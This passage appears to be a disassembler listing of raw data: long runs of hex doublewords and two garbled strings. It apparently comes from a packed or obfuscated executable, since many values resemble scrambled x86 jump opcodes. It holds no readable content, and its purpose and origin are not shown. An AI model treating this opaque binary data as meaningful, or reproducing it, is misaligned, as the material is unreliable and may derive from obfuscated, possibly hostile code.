5997BA53h, 56AB95B6h, 5A5BBE32h dd 59EAB132h, 5675B7B7h, 5636BE32h, 0BF5DB132h, 56AEB279h dd 5657B9DBh, 0C2502A32h, 37AC51Ch, 0AAAF3A5Ah, 567F3C3Dh dd 59DAB132h, 565DB1BAh, 37CFD132h, 0D458B60Bh, 56ABB211h dd 0AA904EC7h, 56E1313Dh, 5915B132h, 9C3B4A8Dh, 5BC21CF8h dd 52D13253h, 6FD3BE32h, 36ABB132h, 5A3CD052h, 36EAB132h dd 7E159864h, 7012FAA1h, 379C5C6Eh, 56A2CEB1h, 564D353Dh dd 0D6CBB132h, 995E35D7h, 56915853h, 5F9CB132h, 9DBAB132h dd 738B36CAh, 0AFE15AE4h, 0A9A84E8Ah, 0D7A4D1CDh, 56D5B134h dd 56EA3E3Dh, 5B9CB132h, 60BAB132h, 0ADB21AB7h, 62FBA27Ah dd 1A40AA47h, 53124953h, 0BFD5B132h, 56EAB137h, 325F0B72h dd 0FD494DF0h, 565DA5DBh dd 22CA3532h, 2B032EFh, 5FC77DB1h, 919800CBh, 1A65B808h dd 0A8AD583Ch, 36DA4ECDh, 52A82D8Ch, 8F11BE05h, 53DEBE53h dd 30ABB132h, 0C84567B3h, 46953253h, 23F1BE37h, 0AABAB132h dd 504DCEB1h, 5621343Dh, 17ABB132h, 56A1303Dh, 533CB132h dd 0AAEAB132h, 0FCF45FD7h, 0BFBEF6B9h, 565DB139h, 0D0D27D41h dd 0A21E860h, 0DDEFDB6Fh, 0D6B5BD6Dh, 368B9AEFh, 610466B3h dd 0BFDBBCCEh, 565DB0F2h, 56A1353Dh, 5CBEB132h, 6FABB132h dd 11D7DEC1h, 0DAC7AA89h, 43F4BE7Dh, 0BFBAB132h, 565DB122h dd 0FD3707C5h, 6B903F1h, 488F2F13h, 0CA62F1D1h, 36EEF6B9h dd 0A1FED7CEh, 5AE53A53h, 573C58CAh, 5847B132h, 0F657B132h dd 0DD326741h, 0AD8CF0E4h, 0ECFE98B0h, 52323AA4h, 56BAB6DBh dd 2B75BB32h, 8FA93EF8h, 595BEEB9h, 56ABBBB2h, 686DD132h dd 308FBAE7h, 6D1443B9h, 0D3B5B96Dh, 565DB1B9h, 56A958CAh dd 6F74B132h, 5D5C27C3h, 0DD2CE3C5h, 7D16B565h, 5580A167h dd 0BFDAA567h, 565DB120h, 0C49E5F60h, 0A905D588h, 2CC0C890h dd 496E3A7Eh, 9C6ADB49h, 9FED096h, 4253483Eh, 675DB132h dd 0AFA29818h, 0A405AECh, 0BEFD201Eh, 7F171BD1h, 7D93AC66h dd 0E813D1E8h, 0D7DCEA1Ch, 377CA8EDh, 0BFAB5AB1h, 5657B134h dd 0EE4CA69Eh, 0AF8FDE3Ah, 56EACDDBh, 56645832h, 0D421B132h dd 0CAC9C0BBh, 0E2B505B0h, 2F34EA00h, 0DD1D6478h, 0DD29B575h dd 0BE8ABD6Dh, 5675B121h, 0BB475A1Eh, 0B7DEA64Ah, 0E3DC8830h dd 0BB034840h, 5990DC1Bh, 56D5B1BEh, 9C61E932h, 522A9A53h dd 0BEA70052h, 565DB126h, 9DE518Ah, 0C427CCCCh, 0C49FCDC8h dd 89445644h, 82838B15h, 0BDF6D06Ah, 0DCB94437h, 51A790E3h dd 56AEBDDBh, 73DDA932h, 81B995E0h, 0F3AC6581h, 469532C3h dd 7EF0BE31h, 36BAB132h, 379A063Dh, 56A85873h, 5E85B132h dd 0B515831Bh, 56D5A3DBh, 0BF7ABF32h, 0CA53D9EEh, 777CA446h dd 73879006h, 7DED6690h, 0ED00D1EBh, 4C5E6279h, 56D8586Dh dd 76FAB132h, 66CD8E9Ch, 3D49C4CEh, 370E3AF6h, 57AFEDBBh dd 0A8E8BE52h, 0EECA42B9h, 0A92A4ECDh, 56EAB6DBh, 5EC14832h dd 86FBBE79h, 565DB48Bh, 5722BE32h, 0AF57B132h, 0D7A41AC1h dd 56D5B138h, 56EAB4DBh, 9B31FE32h, 2553BA7Fh, 59A24ECEh dd 56AEBBB2h, 0A5D6D132h, 7F8BFD9Dh, 37B4D052h, 7F51D752h dd 10BB3003h, 37DEF429h, 469F4DFBh, 3574D32h, 5643343Dh dd 5942B132h, 5CD5B132h, 0A17E1322h, 2F48F19Bh, 0E87380AEh dd 0BAD6ED7Ah, 56AF393Dh, 0D5ABB132h, 36574DF6h, 56D559CAh dd 0D7B0B132h, 56AB58D8h, 0ECDCD13Ah, 363C0C7Dh, 7E70208Ah dd 55DDBE3Eh, 30ABB132h, 0DDB472B9h, 5674B188h, 9F46493Ah dd 56BABFDBh, 77D85532h, 583F18Bh, 0A62C4CF3h, 0D5ABBA20h dd 0D2DAB10Dh, 56EAB2D0h, 51FE4DCAh, 56BB363Dh, 0A9A4B132h dd 0A957BD47h, 5EBEB947h, 13ABB132h, 0FF1F2E5Fh, 66F0B8Fh dd 567F3B3Dh, 59DAB132h, 565DB1BAh, 37653A32h, 565453DAh dd 56BF5832h, 0CD72B132h, 0A31C639Dh, 2F548B4h, 0ADA32908h dd 638C7370h, 96A505FFh, 5616343Dh, 5342B132h, 0E6D5B132h dd 0E4DD7C04h, 0D77AB6B9h, 56BAB133h, 561458C7h, 7CEB132h dd 5657A3DBh, 0DCDB3432h, 7A8483Fh, 0BC77051Eh, 39132561h dd 98704EDh, 64FC6FB3h, 36CFD3F1h, 968C0FC7h, 0D5CAC2C3h dd 533CA5F5h, 0ABEAB132h, 90F349A6h, 0A945FFDBh, 565458CDh dd 0A9ADB132h, 0D8DF191Fh, 0DF39D479h, 59B54D77h, 0A98B6385h dd 589CBD47h, 0C4BAB132h, 9397228Bh, 0DD9877A2h, 5830D5A7h dd 56A158E8h, 0E18CB132h, 0ED6AD75Dh, 23FEE780h, 59B2C4CDh dd 565DBDB2h, 56A95832h, 91E5B132h, 0F5C9606Bh, 59E24EBDh dd 56EAA5BFh, 567A5832h, 132AB132h, 7328570Eh, 454BAAC1h dd 0E930FA12h, 5456593Bh, 0D8DAB132h, 56EAB133h, 59B5BAC7h dd 56BAB6B6h, 0E5B44832h, 0AEAEB130h, 59ABF4B9h, 56ABA4B1h dd 56C55832h, 0CB6BB132h, 254A9EE7h, 515B375h, 5A5488F9h dd 5197BBEBh, 54DB333Dh, 0AFCBB132h, 13D60E54h, 0AAAF4E53h dd 5674393Dh, 0D54FB132h, 595DB54Dh, 56AEE0B6h, 56585832h dd 3C0BB132h, 9235FD1Bh, 2AF14D5Ch, 0C5B102F5h, 573BBE15h dd 0A35DB132h, 56A2CEB1h, 567B353Dh, 0DCA4B132h, 56D5B12Bh dd 56EAA5DBh, 0B4B30532h, 344FBB93h, 0B2D57FEDh, 0EA39B528h dd 0CE8C4B39h, 56FE58E2h, 5920B132h, 56EAB0B8h, 0A9CD4832h dd 36454ECDh, 365641B2h, 136F3054h, 3736D1A0h, 56AE0853h dd 59B5B132h, 47027685h, 0A775B132h, 3A891461h, 36B9EF94h dd 0F658E6EFh, 0E2337514h, 0DF5B3054h, 0A5B4EB69h, 0EA034499h dd 0BF8A4ECCh, 56BAB135h, 1FED18F5h, 0D57D96CCh, 5952A14Dh dd 56ABD7B6h, 29564932h, 0D3E5B722h, 5675B1BBh, 48623052h dd 302F3E91h, 37874A8Dh, 57DCBE73h, 0AEABB132h, 59D1F6B9h dd 56EAA0BFh, 56795832h, 72A6B132h, 33D34B06h, 0F8275855h dd 9DC9DB4h, 0A42AD13Eh, 6C45427h, 9E3677B3h, 0BF14D8AEh dd 56BAB03Ch, 565DA3DBh, 1851FF32h, 29AD568Bh, 0E7D77CBFh dd 0D4B97E28h, 0DD206B56h, 515B575h, 37E4D052h, 5951EEB9h dd 56AEBABDh, 56515832h, 8345B132h, 0A14D39C0h, 56EA78DBh dd 56725832h, 49CBB132h, 2608D6A3h, 52E93A08h, 5657B9DBh dd 0F7F90F32h, 4D0114E8h, 5AB53AA6h, 459CE352h, 53BAB132h dd 0F3C2BF20h, 24BD7E35h, 0ABC1F6C5h, 0F0B2BC18h, 598BFED3h dd 56EAA7BBh, 56655932h, 39F0B132h, 0C9634641h, 0A98B98E7h dd 0A1021DADh, 37F453B2h, 56C03F3Dh, 4603B132h, 5275B132h dd 3E6DE044h, 429BBFA9h, 0BE46D44Bh, 7DFA2327h, 0D552B56Dh dd 0D529B4D9h, 59E9A14Dh, 5675F4B7h, 56AB5832h, 7020B132h dd 0C2AE53EDh, 9FCC882Fh, 63A6BF42h, 1724C223h, 56F3353Dh dd 429CB132h, 56BAB132h, 0EF092449h, 0AB863B8Fh, 0A41ADB2Eh dd 0F0078B22h, 0BF0BFC2Ch, 56EAB138h, 3E05A2C7h, 7D901A48h dd 8F76C206h, 56AEB4DBh, 0DBB33032h, 0A2252E6h, 503CB033h dd 19EAB132h, 0D0F91F5Dh, 56B758D0h, 0A679B132h, 0DF2C537h dd 8CC01357h, 0EE4D9D89h, 0A92A4ECDh, 56EAA2DBh, 0AB41EC32h dd 0FE810C82h, 508EAC44h, 0DCE86CBBh, 880E5BB1h, 56ABB48Bh dd 0D8DA4D32h, 56EAB133h, 0A3DE42CBh, 0A94647DBh, 45D6BECDh dd 0BFAEB132h, 5657B13Ch, 0D5E743E3h, 86442F36h, 0A7B81FAFh dd 361438CBh, 307A063Dh, 63DD5AB3h, 5A20BE53h, 5957B132h dd 56ABB7B4h, 5651BE32h, 9FEAB132h, 567D73C7h, 0D5B5D152h dd 565DB132h, 51613054h, 0E831D0E5h, 3CA6FB1h, 825FE252h dd 8761D768h, 0BAFE4453h, 56A95952h, 0BFE0B132h, 54145975h dd 7FA0A5D6h, 38285F05h, 0AE5D63F3h, 37B149E8h, 0A38975B1h dd 56BABFDBh, 0B62E7B32h, 0E3F91397h, 77E780F7h, 3663484Ch dd 9644452h, 5EAF3A53h, 5A308ACBh, 568A333Dh, 6DA8B132h dd 0D1A1A177h, 5657B114h, 0F27A3052h, 37C94972h, 5616F4F5h dd 0AE75B132h, 56BAF5DBh, 56515832h, 981AB132h, 6BB40065h dd 4F7D42D8h, 1312ACEBh, 56EAB0CEh, 56725832h, 6CBCB132h dd 0B70228F0h, 56B558F4h, 0DB58B132h, 56ABB127h, 56DA393Dh dd 5C03B132h, 0AF75B132h, 1DFE7CF7h, 788953D9h, 5947D086h dd 0F657B132h, 0C9D145F8h, 1AFFE343h, 2DD90BE9h, 13FE392Ch dd 0D8B5D1CEh, 565DB133h dd 0AE11BECAh, 1377853h, 56B9586Ch, 8DB6B132h, 298E9C71h dd 317B1BC5h, 8256C6BAh, 0E3854F72h, 56A27353h, 5650363Dh dd 0D3A4B132h, 56D5B133h, 36BF44CBh, 56773B3Dh, 37DAB132h dd 565DBBDBh, 3C590E32h, 6812EBA4h, 3775E4EFh, 0D52D5DB9h dd 0D5E54DF6h, 5675B13Fh, 56BAB9DBh, 9DE4AB32h, 192A29ADh dd 565058CAh, 1EA7B132h, 336C5DF8h, 0D9E5D11Ah, 5675B133h dd 56BA59CBh, 0D707B132h, 564A24D8h, 59DFBE3Ah, 0BFABB132h dd 56D5B138h, 0A96141B8h, 39747ED7h, 0D7DA6A32h, 5BA60BD0h dd 542ABE42h, 3657B132h, 0D9A4D053h, 56D5B135h, 56EB3D3Dh dd 658DB132h, 65424DFBh, 564C58E9h, 9B66B132h, 8B70E93Bh dd 0DD3B7136h, 1A06526Dh, 0DF189E20h, 368D4D6Fh, 0D7603A54h dd 12B48DE5h, 0EC25D046h, 5E572F32h, 56ABBFDBh, 0C71A4432h dd 0B27D2DC5h, 88447A79h, 0D57D68E1h, 0D252B10Dh, 56AEB3A9h dd 0E158D152h, 37CAD1E5h, 36B441B9h, 66944788h, 0BDF4D723h dd 0D5DB5BADh, 0D3524E0Dh, 56AEB108h, 564558C7h, 0FAFAB132h dd 0ADA12BB5h, 4ABA226Dh, 0C202917Dh, 1AC75378h, 0AF4976B1h dd 0A95107DBh, 45D0BECDh, 0BFABB132h, 56D5B13Ch, 0B725F407h dd 0DC0456A4h, 0C68DDA46h, 29DE0A8Ah, 0D2A1B136h, 5657B10Ah dd 5AD432CAh, 7B51BE32h, 0BFEAB132h, 5675B139h, 0BB7BD291h dd 614C8066h, 0BFEDA954h, 5657B141h, 56ABA2DBh, 1A4EC732h dd 0A9A23648h, 0C29F55AAh, 0FAF1164Dh, 0CFCBFA53h, 0BF52F4CDh dd 5657B13Dh, 846CC48Ah, 917326ACh, 0F22714BFh, 0A32876C4h dd 0BFAE76B1h, 565DB138h, 7ADA24A9h, 42313ABBh, 7A4233EBh dd 0BF2A4ECDh, 56EAB13Ch, 0C49362CFh, 0E00F2FF2h, 0E1712B7Dh dd 4247CA5Ah, 6257B132h, 45300AF5h, 9F94D7ACh, 0E95E779Ch dd 6B8A228Eh, 0D53E2A5Ch, 5958A14Dh, 56AE1FB6h, 56475832h dd 6A7AB132h, 0E0CEB40h, 5B8E3A65h, 0EF81191h, 2939E199h dd 0D352B722h, 56AEB18Ah, 5657A1DBh, 941A6532h, 0D198402Ch dd 5FC390E7h, 0A79050AEh, 3646F058h, 0F3CD163h, 56AEA2DBh dd 0C7C6F032h, 0CAEBF373h, 49A646BCh, 73E94B91h, 0FA884943h dd 52FD3A53h, 565A3F3Dh, 5CEB132h, 1F833169h, 56A75853h dd 0BAE7B132h, 0DA0391F3h, 563851F9h, 931843Bh, 5651583Eh dd 0DE3EB132h, 0B08167B4h, 0B64E27CDh, 0BF20DAD5h, 56EAB19Bh dd 567F3A3Dh, 5353B132h, 0ED5DB132h, 2325E780h, 5657BBDBh dd 0F7A41A32h, 25CAF25Fh, 0DDA30E95h, 0DD8DB575h, 59DABD6Dh dd 0DD3B7685h, 5047D0EAh, 0D157B132h, 2C19E6CBh, 5689589Fh dd 0D68AB132h, 6153EDDh, 37DB4869h, 5959F6B9h, 56AEB6BCh dd 0E958D132h, 375A3AF9h, 0AAD9EEB9h, 56E0323Dh, 3015B132h dd 184267B3h, 377847B2h, 0A3AAEE19h, 0A3525AB1h, 55BBCEB1h dd 56C9343Dh, 0DD8AB132h, 925D1ECh, 37643A54h, 5DB4F053h dd 0C4AEB132h, 0E8ABD2C2h, 0FAA98337h, 8FFED97Ch, 56EAB9DBh dd 0EC501332h, 1A8A596Fh, 5701384Bh, 56BD5833h, 6881B132h dd 0D7FDF95Ah, 20E1B170h, 8C50E133h, 44E9F572h, 0A945092Dh dd 5DB44ECDh, 18AEB132h, 0DF0354F0h, 0C41651h, 536CE49Ch dd 36EAB132h, 56703E3Dh, 8903B132h, 370DF2C0h, 0BF561AC1h dd 0A9A84C41h, 56A45852h, 2EBB132h, 0A8E35A3Ah, 6CE518D5h dd 0CBB5E61Eh, 373C49F1h, 56AEB9DBh, 39994D32h, 7DC57C45h dd 0AA903AFAh, 56EE323Dh, 715B132h, 0BF73D068h, 565DB13Fh dd 0FEB22A54h, 1E4B8A73h, 0D48ECBC8h, 0BFB57291h, 56EAB122h dd 6C695C6Bh, 0F6B3D4A2h, 0CCC095C1h, 19F9DDA0h, 56593A3Dh dd 5F42B132h, 91D5B132h, 0E118DB09h, 0F2E0FA6Ch, 0D7B5E153h dd 565DB133h, 5A47E0CBh, 0FF57B132h, 93739F42h, 9605CF54h dd 5EFDEDEh, 567058CEh, 1FCEB132h, 0BE0CB958h, 56AEB132h dd 6DBD3068h, 0BFA3B1DAh, 56D5B13Ch, 88A9473Ah, 176207BFh dd 3BC8B0BAh, 46B452E4h, 0AEB132h, 0E1667350h, 0DCE50FE5h dd 251D8329h, 0DB85EA4Ch, 56EB50A8h, 3202483Ah, 0A35DB132h dd 902FD152h, 3A47F072h, 68F0A53h, 0BEB49011h, 56EAB413h dd 0D97AD152h, 56BAB132h, 565DBCDAh, 7EA5CB32h, 0AD7914A6h dd 6056BB8Bh, 378EE442h, 37113A54h, 6D89BAB9h, 56B558F3h dd 0B651B132h, 0CB8B66B6h, 93ADE4A3h, 14043AF2h, 56DE585Ch dd 46AAB132h, 3FC7E56Ah, 0E95CA72Eh, 56CA58CCh, 4CEB132h dd 0CD18A689h, 55CAEB01h, 6D2CB579h, 8C68BEF3h, 5975B132h dd 56BAB6B5h, 57D3BE32h, 0A3AEB132h, 0AF47FA31h, 0D4A47009h dd 56D5B107h, 0EC203052h, 0DD1362C3h, 1253D0CCh, 365DB132h dd 56AEBEDAh, 6E601232h, 622DB7B4h, 5CC7F81Eh, 8C57B8AAh dd 54F2BE6Bh, 36BAB132h, 0E33DD053h, 8011BE17h, 569A5853h dd 4242B132h, 27D5B132h, 0A4B6CC40h, 404BED5Bh, 8D553AB2h dd 0E5EE554Dh, 0BFAE9EE2h, 5657B19Dh, 56ABBDDBh, 1F3B32h dd 92148A1h, 879D3511h, 54203CB1h, 3655B05Ah, 0EC693054h dd 0A4D6D7CEh, 0A9CAF45Ch, 56D358E1h, 8E38B132h, 35577FEBh dd 56BD3B3Dh, 0D952B132h, 56AEB133h, 563A58CAh, 0D5A4B132h dd 56D5B113h, 0B96BD752h, 429DFDBAh, 51BAB132h, 0CADE95FBh dd 4174211h, 0F311FF90h, 0EAB08DFAh, 0CDF1C9Dh, 7E703C53h dd 367DB059h, 56BABCDBh, 167E4A32h, 0D8BC34C5h, 0D0B1CEFFh dd 0DEA40826h, 56D5B133h, 598AD0CAh, 0DF7A4685h, 56BAB122h dd 565DBADBh, 2B659632h, 0BE2A97C9h, 4D956A62h, 59064E53h dd 56EAB0B2h, 0D894432h, 0C7693052h, 3025A5F1h, 0FCF42B9h dd 5656343Dh, 595EB132h, 56D5B9BFh, 546FBE32h, 3675B132h dd 6DAE953h, 565D393Dh, 59F5B132h, 5657B0B4h, 95CA4832h dd 56D4303Dh, 316B132h, 567C5952h, 730EB132h, 0A5F5EEh dd 0BFC384C3h, 5657B126h, 3256B173h, 3BF9697Dh, 0D8AD2ED2h dd 0E467B01Ah, 3BF84D55h, 565A586Ch, 1AB8B132h, 0AB5FD755h dd 0BA20D00Eh, 5D6AD752h, 372104E3h, 5675B1DAh, 0BC3BEB32h dd 5E5D5BA2h, 29443052h, 3718B32Bh, 5D42D1CAh, 0D6D5B132h dd 332AF39h, 63694759h, 0EC377598h, 5E5D2FD3h, 6673152h dd 5653363Dh, 0EFCDB132h, 0DDB497B1h, 4603B977h, 975B132h dd 840D77F1h, 0DA1901DCh, 462C91E6h, 0AFCB4858h, 0E2CBB6BBh dd 996ABE10h, 5AAF3A53h, 523238CBh, 56AD353Dh, 0D352B132h dd 56AEB123h, 5657BDDBh, 0CF212532h, 64FB1B25h, 52981FCFh dd 46303A9Dh, 4305D752h, 11D4D02Fh, 1325493Eh, 0E158D126h dd 56AC58C2h, 4525B132h, 0CA2D4EAFh, 11FCD075h, 59DB4422h dd 565DB0B0h, 0AA674D32h, 0AE57A1F0h, 962BD152h, 8F6ABEFEh dd 336F7753h, 11724B34h, 56BAA0DBh, 0B90B8F32h, 4B95C10Eh dd 9610E0B4h, 100D15CFh, 4CBDA77Fh, 3642A641h, 41833052h dd 309FFD31h, 35AB59B3h, 37F1E053h, 76C204CDh, 0D2A4B6C8h dd 56D5B128h, 56FE3C3Dh, 599CB132h, 5ABAB132h, 8AFBFB12h dd 0D9B6E32Dh, 0AD0AEED7h, 0D3268EF4h, 512812EFh, 965DBE52h dd 274AAC88h, 8645D079h, 56513F3Dh, 5147B132h, 8F57B132h dd 0D8A2EA22h, 0AAB58B08h, 0DB16E353h, 56D5A7B8h, 0D7DCD13Ah dd 59137DE3h, 56AEBDBFh, 56505832h, 1875B132h, 2450A658h dd 712D01Bh, 5675BADBh, 1B789732h, 0B75608E8h, 68525208h dd 50BE61CDh, 65ABB132h, 0EF105C4Ah, 3616EB5Eh, 5675BEDBh dd 4882EE32h, 6268DF1Dh dd 945B727h, 2FE30931h, 40293C53h, 0AFDDB192h, 5AAA063Dh dd 56793D3Dh, 0DAB5B132h, 565DB134h, 56AE333Dh, 8EDCB132h dd 0A352E3CAh, 0BF20803Dh, 56EAB121h, 5ED78D13h, 16A9B4ABh dd 527BD135h, 0A944E021h, 0C9E38F8h, 0BF68B2CBh, 56D5B120h dd 61427311h, 0FFF17315h, 0F9117495h, 0E4E59050h, 5A47B777h dd 0DC57B132h, 0B98A9298h, 9A345423h, 0DF1A2C58h, 0AC40B4B0h dd 0BFDB4435h, 565DB134h, 39B5839h, 5994D0F4h, 56ABB0BEh dd 0E9514432h, 0Fh, 78EAA00Ah, 432BD75Ah, 0A03BF5FDh, 527080F5h dd 198E0Fh, 66600000h, 0E90197BBh, 0Eh, 0DA1A9A95h, 0C3E70820h dd 0A55C5E0Eh, 0E8618CE6h, 0 aZb db 'Z│ЙъЛ',0 dw 0F908h dd 18F0Fh, 0FF90000h, 18Ch, 0F852FC00h, 5828BFCh, 0E907FA35h dd 13h, 13C97CC5h, 1BBA73C4h, 0B5073B02h, 673F83F5h, 0B9125BE3h dd 41C64E6Dh, 0C870Fh, 8E0F0000h, 6, 8F0Fh, 6E90000h, 3E000000h dd 65902C1h, 0E9E1F727h, 0Ah, 0C59C4DC4h, 8161C232h, 0F5AE85Bh dd 783h, 18F0F00h, 0F8000000h, 303905h, 0B830F00h, 60000000h dd 0B043B866h, 0A39953BBh, 0FF256171h, 0F97FFFFFh, 35058289h dd 0E86007FAh, 0Fh, 0EDB8F225h, 4846F05h, 2DBDDA49h, 81AF79EEh dd 0D8A150D1h, 61F55F7Eh, 0B70F605Ah, 61C28BFAh, 5E959h dd 0FE5E0000h, 0C32ED66Eh, 52FC51F5h, 208F0Fh, 0E8600000h dd 12h, 6C969D9h, 68AF9117h, 21AF0083h, 0EB95E0C3h, 0F5E0BC4h dd 8Bh, 0E86100h, 5A000000h, 0EDDAEA81h, 5E90800h, 0E5000000h dd 3802067Ah, 9E860F5h, 0A3000000h, 9DBD0A79h, 35A3C79h dd 8CCA8166h, 0BEB85F19h, 611552BDh, 0CF816660h, 0E9538D99h dd 14h, 0AD1C0E51h, 4FA22D29h, 3D731DD6h, 29CF1DFAh, 0BA6FDBBFh dd 0C88B615Eh, 5E9h, 0E812A700h, 6BE834DFh, 0FFFFFFEh dd 18Bh, 0D233F500h, 0D830Fh, 81600000h, 0A789E5D2h, 0D3816634h dd 0F76124FEh, 840FF8F1h, 6, 0F2BF0F60h, 0C28B61F9h, 3840Fh dd 0FC600000h, 12E95A61h, 0E3000000h, 7F8777D9h, 0CD08D6F0h dd 0A21102C9h, 45C5C18Bh, 6059F55Fh, 0F13EC80h, 68Ch, 830F00h dd 61000000h, 7E9C3h, 7C530000h, 0F2F978DFh, 0F5C08B24h dd 850FC08Bh, 0Ch, 68E0Fh, 8E0F0000h, 0 aNec db '█┘Г╣',0 db 8, 60h, 8Bh dd 0C78166DAh, 0F9614406h, 66F9D0FFh, 8DFCC18Bh, 0ECA585h dd 8589F808h, 7FA1DF1h, 5E9h, 3C978400h, 858DE058h, 800EDACh dd 10E960h, 0A1FE0000h, 8F80FACEh, 0FABE6B5Dh, 5AF5F210h dd 8B665E62h, 858961D6h, 7FA1629h, 0B8F9h, 8F0F0000h, 7 dd 1830Fh, 0BF80000h, 76840FC0h, 0F000001h, 783h, 1890F00h dd 0F9000000h, 6585C6F8h, 5607FA06h, 10E9h, 62F7A700h dd 0D2F32659h, 0F7840072h, 26498819h, 13E963h, 0D17A0000h dd 119DA59Dh, 0ECCE3BABh, 0A07B4D3Dh, 0B8BBD635h, 30DF68BCh dd 8E9A9C5h, 56000000h, 3805EEAh, 0FFE5F46Bh, 0FA2095B5h dd 0F606007h, 0F6B9CABFh, 6166B2D9h, 0FE9h, 0DDA33800h dd 0FA7EB0E8h, 1E008CD0h, 4E49E0A7h, 0DD858D61h, 6007FDA3h dd 0A83EC281h, 0F56163A0h, 0FF5D0FFh, 1085h, 0BE900h, 0B2F30000h dd 0F29B2C3Eh, 0EA57E11Eh, 8F0F5045h, 1, 0DD8D8DFCh, 6007FA30h dd 8F970EB9h, 0FDB8660Dh, 0F5161C2h, 1389h, 0EE900h, 0FDC60000h dd 4658729Ah, 0E20C1C1Fh, 0FEC4705Fh, 60046AF8h, 52616060h dd 0AE9615Eh, 0BB000000h, 0D2E9FB1h, 8A229FD5h, 686147h dd 0F000010h, 187h, 0B5FFFC00h, 7FA14A9h, 3EE98060h, 0C1816660h dd 61614832h, 8BF8D0FFh, 0FA14A9BDh, 7F03F907h, 860F603Ch dd 6, 8A0Fh, 13E80000h, 87000000h, 26BAC4ECh, 7E58BADEh dd 74322FD2h, 0FA768FD3h, 10E8D998h, 0 dd 0F64651D7h, 3C150AC1h, 70992D56h, 5EC611BEh, 0C781615Bh dd 0F8h, 2447C7F5h, 60000020h, 0BE9F8h, 0D62F0000h, 0A28FBF3Dh dd 69946C69h, 199D8DFEh, 0F807FA27h, 60038BF9h, 0BAC8B70Fh dd 4292FC4Ch, 0FC00B61h, 3384h, 8BF800h, 108A0Fh, 0BE90000h dd 0E000000h, 4816361Bh, 31AF9024h, 4389AA7Ah, 12E904h dd 29000000h, 892021FAh, 15C4DD67h, 58C2F396h, 7346F4B6h dd 234CF6B9h, 7E800h, 7ED0000h, 0A45EE647h, 0FCDB8009h dd 3820F58h, 66000000h, 0C081D98Bh, 6782h, 68DFBF0Fh, 19B5h dd 0B6F5E381h, 0F5F1C7Bh, 28Fh, 8BF58A00h, 0EA816608h dd 0F181E58Bh, 5933FFB1h, 53C181FCh, 0F0AE9FFh, 0C181D2B7h dd 117B3765h, 10E851F5h, 0A5000000h, 0A1B3928Bh, 5EC7A169h dd 0D976FCDBh, 5E00304Ch, 83F8008Fh, 0D88B04E8h, 1C850F4Fh dd 66000000h, 149BDB81h, 33E9h, 0F1912100h, 990C497Eh dd 35D23C31h, 0D6C6B080h, 0FF92816h, 688h, 9AE38100h, 0E92554D1h dd 0FFFFFF8Fh, 93B41A74h, 796C5C57h, 7437FF4Dh, 0F2FE1A86h dd 12E9h, 1EDB9700h, 15h, 2 dup(0) dd 0E9000000h, 568h, 0C4FAA472h, 6DA3FB17h, 134955C0h dd 0BFF5A966h, 699FFF12h, 7A978035h, 0D341EE24h, 28E895CBh dd 80934076h, 0C119E81Eh, 0E77442A5h, 720A7007h, 74B31632h dd 77E107E7h, 9AF60EB3h, 0DF85EE20h, 326CA728h, 0CFCF42A7h dd 7727EC99h, 128C87ECh, 0AEF02287h, 534BC91Eh, 88C11AADh dd 7529EACEh, 4B67A73Fh, 0FFE682E8h, 8340A3BFh, 0D66FFE6h dd 20CD73CCh, 0CB78AEF0h, 69CE5945h, 368F3ABh, 0B8247D10h dd 78232467h, 0F41F840Fh, 0A4CD1FAAh, 477042EAh, 3767A98Dh dd 0DFBF5401h, 1CC22854h, 6BF3FFE7h, 1AA5F916h, 10CA4BF1h dd 7528D109h, 616F38h, 0A7000000h, 7BA7326Ch, 0FFE68316h dd 0AB66BB43h, 12CC4DF3h, 748FD30Bh, 17138h, 0A7020000h dd 4EA3336Bh, 0A437DDC1h, 3BCBD33Fh, 81D45411h, 0E6CD0265h dd 5DD730FFh, 0B35C0544h, 0CE3760EBh, 0DF309528h, 0A2DB34BFh dd 540E04E8h, 2F58E3BBh, 30E390C6h, 4BA0386Eh, 0F05BD5C9h dd 960C33D0h, 0A703BA60h, 44A9346Ah, 3709BFCEh, 2256CE4Ch dd 0CA122EB9h, 4CC59D75h, 359EC752h, 0F0D370AAh, 0D1D77D16h dd 4C52C368h, 9C6B25A6h, 1CD8D972h, 6D1329BFh, 174D51C0h dd 65F5A96Ah, 73DF303Bh, 0AC5218FEh, 0FB9FC919h, 6CD83EC7h dd 3CD9862Ch, 98A8D262h, 0D422DBF4h, 0CDD0334Fh, 9DF6FFE6h dd 1A848F34h, 977CE174h, 0FB177C07h, 0CBFC18A3h, 6C046911h dd 17A2FC17h, 0DC748EEh, 74D3BE06h, 5D5C38h, 0A7ED0000h dd 64A4346Ah, 0E682E548h, 316DA7FFh, 0E33C7DA6h, 0D045AA3Dh dd 0B1EA43CEh, 3FD328F7h, 50CB95Fh, 5BB66399h, 0BC53B843h dd 0B13257E2h, 89A8F0F7h, 3B463874h, 0D7000000h, 0AE3792BCh dd 0B1DA5D7Ah, 0EBB35E0Bh, 0B4D01060h, 0FFE6D351h, 0D380267Fh dd 92D6613Dh, 5EB39751h, 0A7530A40h, 7CA8336Bh, 0FFE68316h dd 151CD647h, 38748EDDh, 17Bh, 6EA70C00h, 0F6811DF4h, 74D964CDh dd 0E274FF9Fh, 0FA1BFFB9h, 81D66EA4h, 5660C92h, 304CDC84h dd 7E09AD2h, 0D6C84CA1h, 38EE730h, 0EDB15EB3h, 25799A47h dd 0BCD142EFh, 0DD0D46CAh, 821CF5EBh, 0FC65CEF7h, 0E4E04571h dd 8ACB07E0h, 7727ECD0h, 527FA941h, 36279596h, 0EB28D57Bh dd 50C328B3h, 2FA80B27h, 75CE07E1h, 3C527C0Ch, 31AD7F03h dd 0ACC85B01h, 36DDC17Bh, 2A623268h, 0C8406F37h, 17Dh dd 0BD4A4E78h, 55CE018Dh, 0B03B63B0h, 0F32AE187h, 0FA3ACA96h dd 0E6837BDEh, 0AA50A9FFh, 0B8A0F612h, 1F5F07E0h, 0E0B8A003h dd 0C76DC607h, 4095257Eh, 153EC9D5h, 9C77DC6Fh, 0B85CBFDBh dd 318A07E0h, 0BAFA92C8h, 0E0B83B9Eh, 6A106907h, 0BD4856BDh dd 19A6436Dh, 505223E9h, 0E14BD134h, 3DA6FF07h, 326DEFC3h dd 0C96F821Bh, 1CA7F71Ch, 0B5405EB7h, 4FDAC450h, 721AD4FDh dd 472BE516h, 0ED42D2CCh, 0C5EE7925h, 5ABF320h, 87BFF7C7h dd 695D406Fh, 0D000000h, 0B9445AB8h, 0F333EA90h, 1A36C69Ah dd 7FE68397h, 959E43Dh, 0AF325BB4h, 6505F221h, 3C65F059h dd 0CFDE8CC2h, 